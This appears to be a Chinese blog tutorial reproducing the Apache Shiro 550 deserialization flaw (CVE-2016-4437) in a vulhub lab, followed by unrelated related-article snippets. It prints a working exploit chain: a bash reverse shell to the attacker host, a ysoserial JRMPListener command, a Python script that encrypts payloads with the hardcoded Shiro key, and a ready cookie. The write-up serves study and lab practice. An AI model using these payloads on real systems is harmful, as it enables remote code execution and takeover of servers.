shiro550反序列化漏洞原理与漏洞复现(基于vulhub,保姆级的详细教程)

news2024/11/16 0:04:41

漏洞原理

本文所有使用的脚本和工具都会在文末给出链接,希望读者可以耐心看到最后。

啥是shiro?

Shiro是Apache的一个强大且易用的Java安全框架,用于执行身份验证、授权、密码和会话管理。使用 Shiro 易于理解的 API,可以快速轻松地对应用程序进行保护。

shiro550反序列化原理

cve编号:CVE-2016-4437

在Apache shiro的框架中,执行身份验证时提供了一个记住密码的功能(RememberMe),如果用户登录时勾选了这个选项。用户的请求数据包中将会在cookie字段多出一段数据,这一段数据包含了用户的身份信息,且是经过加密的。加密的过程是:用户信息=>序列化=>AES加密(这一步需要用密钥key)=>base64编码=>添加到RememberMe Cookie字段。勾选记住密码之后,下次登录时,服务端会根据客户端请求包中的cookie值进行身份验证,无需登录即可访问。那么显然,服务端进行对cookie进行验证的步骤就是:取出请求包中rememberMe的cookie值 => Base64解码=>AES解密(用到密钥key)=>反序列化。

如下图所示,勾选rememberMe后,POST请求包中会有rememberMe字段(在最后,非常抱歉一个图没截全,看下面那个小图的remember-me),而服务端响应包的Set-Cookie中会有rememberMe=deleteMe字段,同时会生成对应的rememberMe字段,如下图,一段很长的密文。

 当客户端再次请求服务端时,都会带上这个服务端第一次返回设置的Set-Cookie里面的rememberMe的密文,让服务端进行身份验证。如下图为再次请求时的数据包:

 这里出现问题的点就在于AES加解密的过程中使用的密钥key。AES是一种对称密钥密码体制,加解密用到是相同的密钥,这个密钥应该是绝对保密的,但在shiro版本<=1.2.24的版本中使用了固定的密钥kPH+bIxk5D2deZiIxcaaaA==,这样攻击者直接就可以用这个密钥实现上述加密过程,在Cookie字段写入想要服务端执行的恶意代码,最后服务端在对cookie进行解密的时候(反序列化后)就会执行恶意代码。在后续的版本中,这个密钥也可能会被爆破出来,从而被攻击者利用构造payload。

我画个图供读者们理解一下吧:

 靶场搭建

 这里用vulhub搭建靶场,进入对应的目录.../vulhub/shiro/CVE-2016-4437

我是用虚拟机Ubuntu搭建的(ip为192.168.200.129),启动docker命令:

docker-compose up -d

然后查看一下端口

docker ps

 然后浏览器访问192.168.200.129:8080(虚拟机ip:刚才查看的端口),页面如下:

 这样靶场就搭建好了。

漏洞复现

攻击机:kali    192.168.200.131

靶机:Ubuntu 192.168.200.129

(无所谓是不是kali或者Ubuntu,反正靶场用docker搭建,然后有个linux的攻击机就行了)

漏洞验证

进行漏洞复现之前,应该先验证漏洞是否存在。那么首先应该判断一个页面的登录是否使用了shiro框架进行身份验证、授权、密码和会话管理。判断方法在于:勾选记住密码选项后,点击登录,抓包,观察请求包中是否有rememberme字段,响应包中是否有Set-cookie:rememberMe=deleteMe字段。类似于下图这样:

 之前我看CSDN上其他文章,以及b站上许多shiro550的漏洞复现视频都说,只要响应包中出现rememberMe=deleteMe字段就说明存在漏洞。我感觉这样说有失偏颇,如果出现rememberMe=deleteMe字段应该是仅仅能说明登录页面采用了shiro进行了身份验证而已,并非直接就说明存在漏洞。下面这篇博客写的也比较细,其漏洞验证流程也类似判断请求和响应包的字段,如下图:

详细shiro漏洞复现及利用方法(CVE-2016-4437)_糊涂是福yyyy的博客-CSDN博客

 上图是这篇博客所言的漏洞验证的流程,如果出现shiro550漏洞,确实会出现上图所说的这些现象。但我感觉,这个作者说的流程貌似也只是shiro框架的验证过程(个人愚见,欢迎评论区讨论)。对于shiro550,其漏洞的核心成因是cookie中的身份信息进行了AES加解密,用于加解密的密钥应该是绝对保密的,但在shiro版本<=1.2.24的版本中使用了固定的密钥。因此,验证漏洞的核心应该还是在于我们(攻击者)可否获得这个AES加密的密钥,如果确实是固定的密钥kPH+bIxk5D2deZiIxcaaaA==或者其他我们可以通过脚本工具爆破出来的密钥,那么shiro550漏洞才一定存在。

我们可以用类似于shiro_attack-2.2.jar这种图形化工具看看可否爆破出来密钥,启动的方法是,在shiro_attack-2.2.jar所在目录运行:(工具的下载地址在文末我会给出链接)

java -jar shiro_attack-2.2.jar

在图形化界面的目标地址中输入待检测的url,点击“检测当前密钥”、“爆破密钥”,如果下方的文本框显示了对应的密钥,则说明漏洞存在。

 或者也可以使用脚本进行检测和爆破,我这里使用的是一个python2的脚本shiro_exploit.py(脚本和本文所使用的工具会在文末给出),命令如下(url替换为待检测的站点):

python2 shiro_exploit.py -u http://192.168.200.129:8080

插叙一下,如果报错咋办 ?

如果运行该脚本时报错No module named 'Crypto',则运行如下命令:

pip uninstall crypto pycryptodome
pip install pycryptodome

 如果默认安装到了python3的目录下,把他们copy到python2的目录即可。Python2安装目录下的\Lib\dist-packages,将crypto文件夹的名字改成Crypto,如下图。

 插叙结束


如果能成功运行shiro_exploit.py脚本,将自动检测shiro框架并对密钥进行爆破,如下图:

 爆破过程可能需要几分钟时间,耐心等待一会,最后爆破成功的显示如下:

我们成功获得了AES密钥kPH+bIxk5D2deZiIxcaaaA==,说明漏洞存在。

 构造cookie获取反弹shell

进行漏洞利用有很多种方法,最简便的方法就是用前述的shiro_attack-2.2.jar这种图形化工具,但是直接用工具感觉有点像一键复现漏洞,我们没有对请求包的cookie值进行payload构造过程,因此我们还是老老实实先试试自己构造payload再使用payload。

step1:开启端口监听

首先我们开启一个端口,用于接收反弹shell,我这里开启6666端口:

nc –lvvp 6666

step2:攻击机搭建VPS服务,存放反弹shell的payload1

 反弹shell的命令如下(别忘了把ip改为攻击机的ip):

bash -i >& /dev/tcp/192.168.200.131/6666 0>&1

当命令中包含重定向 ’ < ’ ’ > ’ 和管道符 ’ | ’ 时,需要进行 base64 编码绕过检测。可以使用在线网站对命令进行编码,网址为:

Runtime.exec Payload Generater | AresX's Blog (ares-x.com)

如下图,我们对反弹shell的命令进行base64编码

 编码结果为:

bash -c {echo,CmJhc2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4yMDAuMTMxLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}

 接下来我们利用序列化工具ysoserial.jar(工具下载我会在文末给出)生成payload,命令如下:

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 7777 CommonsCollections5 "bash -c {echo,CmJhc2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4yMDAuMTMxLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}"

这段命令中“”中的部分是刚才生成的反弹shell的base64编码。

 对这段命令做个简要的解释:这里我们相当于在攻击机上启动了一个VPS服务,监听7777端口,然后在这个服务上放了一个反弹shell的payload,并用序列化工具ysoserial指定 CommonsCollections5 利用链生成可执行bash -i >& /dev/tcp/192.168.200.131/6666 0>&1命令的序列化数据payload1。当后面有客户端请求服务时,我们搭建的这个JRMP就会返回这段payload1。

至于为什么是CommonsCollections5 ,这是因为靶场的 shiro 存在 commons-collections 3.2.1 依赖, 是一个版本问题,这里就不细究源代码了。

step3:生成AES加密=>Base64编码后的rememberMe字段

我们企图让存在漏洞的页面去请求我们攻击机的VPS服务,即对192.168.200.131:7777进行请求,因此,我们要用脚本对192.168.200.131:7777进行AES加密=>Base64编码。脚本shiro.py代码如下(注意这是一段python2的代码):

import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):
    popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
    iv = uuid.uuid4().bytes
    encryptor = AES.new(key, AES.MODE_CBC, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext

if __name__ == '__main__':
    payload = encode_rememberme(sys.argv[1])   
print "rememberMe={0}".format(payload.decode())

代码中key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")这一行括号内即为AES加密的密钥,如果密钥是其他的,在这里就填写其他的密钥。脚本运行的命令如下(读者应当更改为攻击机ip:JRMP监听的端口号),注意shiro.py的位置应当保证和ysoserial.jar在同一目录下

python2 shiro.py 192.168.200.131:7777

这样我们就生成了请求包中rememberMe的payload2:

 结果为:

rememberMe=SHaFTQdoQyyp/6aF8nm+S+n0p137QVPK6totrz/HmyvQAO+ZOKVLg7e3l1BpDjneRCi3pvZH+Crshq66w+o/xKMvLoVxRootFbrV6ovdAsvo/xAvXOYj71KNPqWP4J4tYNydIiPU1Gqd4saPTbJ1eiBW42tSY4NhiEu+/uCaGok+Lsyv/UB9zPCtJKGJCbDp8eHB9rk/RzQUV2QVdU2bsNjZM7dOTtoL/90yx3LcNfqrkzLWNW+X2jH4GwVPsKkPslQkzS8E/t4b8kMLYjTpFWmxmnyCzbX/4j8ok7JIxpqbQ92TSQgUzm+xcXluldpWo6e3EVnB+wUPNkrREad+YdCAFPpkSpSsuuRZjg/MQ/Kw7NiuTjNtwKMBmf5jalZ9HwbsiY5LfSdRfsLQ4MEwzg==

step4:更改请求包中cookie的rememberMe字段

 我们要在这个数据包的Cookie字段后添加rememberMe字段,添加后的截图如下:

然后点击发送go,返回如下,可以看到响应包中的rememberMe=deleteMe字段:

 这样应该就应该漏洞利用成功了,我们看一下刚才JRMP监听的端口,可以看到这个服务与靶机(192.168.200.129)进行了连接通信:

 再看一下攻击机监听的6666端口,成功获取了反弹shell。

这样就成功了,此时已经可以执行任意命令了。

 至此,漏洞复现成功,那么我们再理一下思路,总结一下靶机是如何沦陷的。

攻击过程复盘 

 对于攻击者而言,核心就是干了两件事:

1.搭建VPS进行JRMPListener,存放反弹shell的payload1

2.将上述VPS进行JRMPListener的地址进行了AES加密和base64编码,构造请求包cookie中的rememberMe字段,向存在漏洞的服务器发送加密编码后的结果payload2。

那么对于靶机服务器,他是怎么沦陷的呢?

1.接收到请求包payload2,对他进行base64解码=>AES解密,发现要和一个VPS的JRMP 7777端口进行通信。

2.向恶意站点VPS的JRMP 7777进行请求,接收到了到了序列化后的恶意代码(反弹shell到攻击机的6666端口)payload1。

3.对payload1执行了反序列化,执行了反弹shell的恶意命令,就此沦陷。

那么我们下一步用工具进行复现一下

使用shiro利用工具进行漏洞利用

使用工具shiro_attack-2.2.jar(会在文末给出下载链接),在shiro_attack-2.2.jar目录启动命令:

java -jar shiro_attack-2.2.jar

然后输入需要检测的站点,即靶场地址,本文为192.168.200.129:8080,点击“检测当前密钥”=>“爆破密钥”

 可以看到检测日志模块,出现了“存在shiro框架”,并成功爆出了密钥kPH+bIxk5D2deZiIxcaaaA== ,然后我们点击“检测当前利用链”、“爆破利用链及回显”,就可以看到检测日志模块,出现了“发现构造链:xxxx 回显方式:xxx”,并提示我们请尝试功能区利用:

 接下来点击“命令执行”,输入想执行的命令,就可以直接执行命令了。这里输入了whoami,回显为root,又输入了ls -l 成功看到了所有的文件及其权限等等。

这样就直接利用成功了,当然也可以直接上传内存马啥的,就不演示了。

结语

先自问自答两个问题:

如何判断我的服务器是否受到了针对shiro550漏洞的攻击?

  1. 检查日志:查看系统的日志文件,看是否有异常的访问记录或登录失败记录,如果发现了异常,可以进一步分析该记录是否与Shiro550漏洞有关。

  2. 检查系统状态:检查系统是否存在异常状态,如系统崩溃、服务宕机等,这可能是攻击者利用Shiro550漏洞进行攻击导致的。

  3. 检查用户行为:检查是否有用户在短时间内多次尝试登录或者进行异常操作,这可能是攻击者正在利用Shiro550漏洞尝试获取系统权限。

  4. 检查网络流量:使用网络安全监控工具,查看是否有大量流量从某个IP地址发送到系统中,并且该IP地址是未知的或者存在异常行为,这可能是攻击者正在利用Shiro550漏洞进行攻击。

如何进行防御?

  1. 及时升级shiro版本,不再使用固定的密钥加密。

  2. 在应用程序上部署防火墙、加强身份验证等措施以提高安全性

写在最后:

这篇漏洞复现写的时间很长,复现过程也出现了很多问题。看b站上许多视频,都是直接找个工具一键复现(这里用飞鸿的那个工具居多),然后也不给出工具的链接,没太多参考价值。然后我去github下载shiro550的漏洞利用工具,太坑了,许多都没法用!!!经常是meavn打包出错,最后改了pom.xml,成功生成.jar之后又运行不了,我也不知道咋回事。这里飞鸿的工具链接如下,也很坑!

feihong-cs/ShiroExploit-Deprecated: Shiro550/Shiro721 一键化利用工具,支持多种回显方式 (github.com)

但是这个工具我一直mvn失败,成功之后又启动不了.jar文件,搜了很多都没成功,希望有成功使用这个工具的小伙伴可以评论区告诉我咋用,或者给个.jar的链接也行。

同时我在跑脚本的时候,由于许多python2的不兼容问题,又出了很多错,主要还是来源于from Crypto.Cipher import AES 中找不到Crypto的问题,这个我在前文也给出了解决方法,读者试了如果还是不行可以评论区联系我。

接下来我把本文中真实使用的.jar文件,以及python脚本给出如下:

链接:https://pan.baidu.com/s/1C408FR_n1t-XbIlbPLNczw?pwd=pso6 
提取码:pso6 

由于我是个刚刚开始入门网安的小白,也不太懂java的代码,没办法从代码层面给大家做详细的讲解了。不够我还在b站上看到了一个大佬的视频,他对于shiro550反序列化漏洞从源码层面进行了分析,讲得非常好,这里也进行一下推荐。感兴趣的读者可以看一看,这里给出链接:

Shiro反序列化漏洞(一)-shiro550流程分析_哔哩哔哩_bilibili

这是我的第三篇CSDN博客,希望以后能坚持多写写网络安全相关的文章,还望读者们多多关注,多多支持。如果有什么问题,欢迎评论区讨论。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/817506.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

代码随想录算法训练营之JAVA|第十七天| 654. 最大二叉树

今天是第17天刷leetcode&#xff0c;立个flag&#xff0c;打卡60天。 算法挑战链接 654. 最大二叉树https://leetcode.cn/problems/maximum-binary-tree/description/ 第一想法 错误的想法&#xff0c;就不说了。 看完代码随想录之后的想法 用递归模拟真实的过程 如果我…

【iOS】通知原理

我们可以通过看通知的实现机制来了解通知中心是怎么实现对观察者的引用的。由于苹果对Foundation源码是不开源的&#xff0c;我们具体就参考一下GNUStep的源码实现。GNUStep的源码地址为&#xff1a;GNUStep源码GitHub下载地址, 具体源码可以进行查看。 通知的主要流程 通知全…

AD21 PCB设计的高级应用(二)PCB常见走线等长设计

&#xff08;二&#xff09;PCB常见走线等长设计 1.蛇形线的等长设计2.DDR的等长分组3.等长的拓扑结构3.1 点对点连接3.2 T型拓扑结构3.3 菊花链拓扑结构 1.蛇形线的等长设计 在 PCB 设计中,网络等长调节目的就是为了尽可能地降低信号在 PCB上传输延迟的差异。在 Altium Desig…

C语言第十三课--------初阶指针的认识--------重要部分

作者前言 &#x1f382; ✨✨✨✨✨✨&#x1f367;&#x1f367;&#x1f367;&#x1f367;&#x1f367;&#x1f367;&#x1f367;&#x1f382; &#x1f382; 作者介绍&#xff1a; &#x1f382;&#x1f382; &#x1f382;…

JavaSE类和对象(重点:this引用、构造方法)

目录 一、类的定义方式以及实例化 1.面向对象 Java是一门纯面向对象的语言(Object Oriented Program&#xff0c;简称OOP)&#xff0c;在Java的世界里一切皆为对象。 2.类的定义和使用 1.在java中定义类时需要用到class关键字 3.类的实例化 4.类实例化的使用 二、this引用 …

面试中常聊 AMS,你是否又真的了解?

在面试的时候&#xff0c;经常会被问到这些问题&#xff1a; 对Activity的启动流程了解吗&#xff1f;AMS在Android起到什么作用&#xff0c;简单分析下Android的源码system_server为什么要在Zygote中启动&#xff0c;而不是由init直接启动呢?为什么要专门使用Zygote进程去孵…

有点慌,新公司项目构建用的Gradle

入职新公司&#xff0c;构建项目的工具用的gradle&#xff0c;以前没用过&#xff0c;看到一个build.gradle&#xff0c;点进去&#xff0c;心里一句我曹&#xff0c;这写的都是些什么玩意&#xff0c;方得一批&#xff0c;赶紧去补了下课。 好吧&#xff0c;先学点语法&#…

根据选择内容自动生成正则表达式

地址: https://regex.ai/ 如何使用? 比如我这里有个需求: 提取图片路径中的文件名 https://wx4.sinaimg.cn/mw1024/0040jbadly1hg5nk0l3gtj62c0340kjl02.jpg 提取出0040jbadly1hg5nk0l3gtj62c0340kjl02.jpg 数据越多越准确 左边提供数据, 右边给出需要提取的数据, 点击run&…

地产变革中,物业等风来

2023年7月&#xff0c;也许是中国房地产行业变局中的一个大拐点。 中信建投研报表示&#xff0c;政治局会议指出当前我国房地产形势已发生重大变化&#xff0c;要适时调整优化政策&#xff0c;为行业形势定调……当前房地产行业β已至。 不久前&#xff0c;国家统计局公布了2…

Mag-Fluo-4 AM,镁离子荧光探针,是一种有用的细胞内镁离子指示剂

资料编辑|陕西新研博美生物科技有限公司小编MISSwu​ PART1----产品描述&#xff1a; 镁离子荧光探针Mag-Fluo-4 AM&#xff0c;具细胞膜渗透性&#xff0c;对镁离子&#xff08;Mg2&#xff09; 和钙离子&#xff08;Ca2&#xff09;的 Kd 值分别是 4.7mM 和 22mM&#xff0c…

运维:Multipass软件让你的虚拟机管理更简单高效

一、Multipass是什么&#xff1f; 官网&#xff1a;https://multipass.run/ 一提到虚拟机大家一般都会想到VMvare和Virtual Box这两个的虚拟机软件&#xff0c;这两个软件一个比较麻烦的地方是安装完虚拟机以后还需要下载操作系统镜像。小编偶然间发现了Multipass。这款轻量级的…

Flowable-子流程-嵌套子流程

目录 定义图形标记XML内容使用示例视频讲解 定义 内嵌子流程又叫嵌入式子流程&#xff0c;它是一个可以包含其它活动、分支、事件&#xff0c;等的活动。我们通 常意义上说的子流程通常就是指的内嵌子流程&#xff0c;它表现为将一个流程&#xff08;子流程&#xff09;定义在…

【C语言初阶(20)】调试练习题

文章目录 前言实例1实例2 前言 在我们开始调试之前&#xff0c;应该有个明确的思路&#xff1b;程序是如何完成工作的、变量到达某个步骤时的值应该是什么、出现的问题大概会在什么位置。这些东西在调试之前都需要先确认下来&#xff0c;不然自己都不知道自己在调试个什么东西…

IT服务管理学习笔记<一>

### IT服务管理知识整理 ITSM 的核心思想是&#xff0c;IT 组织&#xff0c;不管它是企业内部的还是外部的&#xff0c;都是 IT 服务提供者&#xff0c;其 主要工作就是提供低成本、高质量的 IT 服务。 ITSM 的核心思想是&#xff0c;IT 组织&#xff0c;不管它是企业内部的还…

中国农村大学生学习了这个【React教程】迎娶导师女儿,出任CEO走上人生巅峰

注&#xff1a;最后有面试挑战&#xff0c;看看自己掌握了吗 文章目录 React创建一个简单的 JSX 元素创建一个复杂的 JSX 元素在 JSX 中添加注释渲染 HTML 元素为 DOM 树 &#x1f338;I could be bounded in a nutshell and count myself a king of infinite space. 特别鸣谢…

《数据同步-NIFI系列》Nifi配置DBCPConnectionPool连接SQL Server数据库

Nifi配置DBCPConnectionPool连接SQL Server数据库 一、新增DBCPConnectionPool 在配置中新增DBCPConnectionPool&#xff0c;然后配置数据库相关信息 二、配置DBCPConnectionPool 2.1 DBCPConnectionPool介绍 主要介绍以下五个必填参数 Database Connection URL&#xff1…

简历上的项目,需要这样描述才有亮点!

作者&#xff1a;小傅哥 博客&#xff1a;https://bugstack.cn 沉淀、分享、成长&#xff0c;让自己和他人都能有所收获&#xff01;&#x1f604; 一、前言&#xff1b;豆包不是干粮 每每准备面试&#xff0c;总有些小伙子甩出自己的豆包项目&#xff0c;不是Xxx管理系统&…

绝绝子,这所211无歧视!极其保护一志愿!专硕爆冷全部录取!

一、学校及专业介绍 大连海事大学&#xff08;Dalian Maritime University&#xff09;&#xff0c;简称海大&#xff0c;位于辽宁省大连市&#xff0c;是中华人民共和国交通运输部所属的全国重点大学&#xff0c;位列国家“双一流”、“211工程”重点建设高校。 1.1 招生情况…

HJ99 自守数+OR86N 返回小于N的质数个数

HJ99 自守数 自守数_牛客题霸_牛客网 (nowcoder.com) #include <iostream> #include<cmath> using namespace std; bool Ending_Same(int a) {int a_a a * a;if (a_a a)return true;int i 1;while (a_a ! 0 && a_a/ (int)pow(10, i)!0)//保证a*a有足够…

SBFI AM(Na+Indicator),129423-53-6,可用来预测纯化线粒体Na+梯

资料编辑|陕西新研博美生物科技有限公司小编MISSwu​ SBFI AM(NaIndicator)钠离子荧光探针 PART1----​Product structure&#xff1a; PART2----​Product specifications&#xff1a; 1.CAS No&#xff1a;129423-53-6 2.Molecular formula&#xff1a;C56H58N2O23 3.Molec…